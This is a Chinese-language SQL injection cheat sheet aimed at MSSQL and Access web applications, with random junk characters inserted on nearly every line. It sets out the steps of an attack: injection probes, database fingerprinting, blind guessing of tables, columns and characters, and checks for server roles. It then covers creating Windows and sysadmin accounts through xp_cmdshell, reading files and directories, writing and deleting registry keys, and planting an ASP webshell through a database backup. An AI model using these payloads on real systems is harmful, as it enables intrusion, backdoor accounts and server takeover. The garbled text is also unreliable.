1.判断是否有注入;and 1=1 ;and 1=2 | E\ u
2.初步判断是否是mssql ;and user>0 %g7B*AX]
3a?dNwM@
3.注入参数是字符'and [查询条件] and ''=' .|/VD'xV"
[u;>b?[{
4.搜索时没过滤参数的'and [查询条件] and '%25'=' o(@^V!}V
V?r(; x
5.判断数据库系统 $|o[l.q2
S.*.nv
;and (select count(*) from sysobjects)>0 mssql 4<S=KFT_
t]XF*fZH
;and (select count(*) from msysobjects)>0 access 8S@"6TG`
)E}eK-Yu
blmY=/]
VX'G\Zz@h|
6.猜数据库 ;and (select Count(*) from [数据库名])>0 yUX<W'-Hev
>8EmfjUoc
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ;BW-ag \9
,L;%-}#$
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 G8@LH
X-F:)/$xG
9.(1)猜字段的ascii值(access) J8@7
5p9
`e}6/~R`
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 %5Zhq>
&&TAX
(2)猜字段的ascii值(mssql) xeKfc}:&z
g)=-%n'RoE
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 >$_@p(w
kp8kp`S7
10.测试权限结构(mssql) 4=ZN4=(_[
0:zDt~Ju
SV i{B*
f"d4HZD^
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8RJa;JsH
T%@qlEmf
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- |K'7BK_^J
7KZ>x*o
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- `m\l#r2C
N3|aNQ=X0
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- AfJ .SNE
0Rz",Mu>
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 1V;m8)RF
Rqun}v}
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- #QKgY7
;f~z_3g
;and 1=(select IS_MEMBER('db_owner'));-- 1*]@1DJt
^e:rRk7 &
5`f\[oA
Kc{~Q
11.添加mssql和系统的帐户 "kg?Or.
FS6I?q#tQ
;exec master.dbo.sp_addlogin username;-- V6tUijz
;exec master.dbo.sp_password null,username,password;-- DTM
xfQdk
ez^b{s`
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- fXB64MNo
o;J_"'kP
;exec master.dbo.xp_cmdshell 'net user username password W*Ce1
Y%YPR=j~ &
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- |3uE"\nfA
o,DI7sb
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Yc~c(1VRz
*egAx
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- U?yKwH^{
%|gj46
]?j[P=\
=y1/V'2E
12.(1)遍历目录 GoRSLbCUR
P:tl)ob
;create table dirs(paths varchar(100), id int) bPo*L~xdk
H_+!.
;insert dirs exec master.dbo.xp_dirtree 'c:\' 6ZwFU5)QE/
D3kx&AR
;and (select top 1 paths from dirs)>0 etLA F
a?ii)GGq
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) w@ \quy:
t?cO>4*|
A]mXV4RmI
jBnvu@K "
(2)遍历目录 x#&%lJT
7Jvb6V<R
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- PU{7s
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ]QK@zb}x
9lCZi?
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1
Ll<^P
{;Ispx0m
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 cb9q0sdf
Q.`O;D}x
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 09C[B+>h
4f{(Scg
]Qb85;0)
} l4d/I
13.mssql中的存储过程 _9Y7.5
B;mt11M
xp_regenumvalues 注册表根键, 子键 @(Y+W2Iyy+
tx01*2]pX
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 RB `<Zw
Y]!{
nW
xp_regread 根键,子键,键值名 C`>|D [
UkV{4*E
;exec xp_regread )4/227b/(
@Zd/>'
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ZsikI@?
iv]*HE
xp_regwrite 根键,子键, 值名, 值类型, 值 *C n `pfO
jM DG
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 wa}\bNKQk
YQk<1./}I
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 +:fr(s!OE
rezH5d6z62
xp_regdeletevalue 根键,子键,值名 =;"$t_t
H3Z"u
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 @x
z?^20N
%knPeo&
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 CUo %i/R
9x0Ao*D<t
60u}iiC@
$VLCD
14.mssql的backup创建webshell `:fc*n,*
S9Ka
use model zIjUfgO/M
]Y@ia]x&P
create table cmd(str image); NiTLQ"~e
(`pd>
insert into cmd(str) values (''); -8r9DS-/W
]rP'\a
backup database model to disk='c:\l.asp'; eTp}*'$p
dJ0qg_ U&
MVpk/S%W
y8.(filNB
15.mssql内置函数 ,awp)@VG7
CH/*MA
;and (select @@version)>0 获得Windows的版本号 <M4Qc12jP
KoPhPH
;and user_name()='dbo' 判断当前系统的连接用户是不是sa (}C%g{8
.`ppp!:a4
;and (select user_name())>0 爆当前系统的连接用户 ,`lVB#|
?m$7)@p
;and (select db_name())>0 得到当前连接的数据库 u LXV,
d=B
DR^/wA
iqj
ZC80
I3ZbHb-)_,
16.简洁的webshell 5wws8w
=_/,C
use model ? <.U,
_+\hDV>v
create table cmd(str image); 5Se
S^kJC
iVKX *kqc
insert into cmd(str) values (''); ~!w()v n
4l~0LdYXKm
backup database model to disk='g:\wwwtest\l.asp';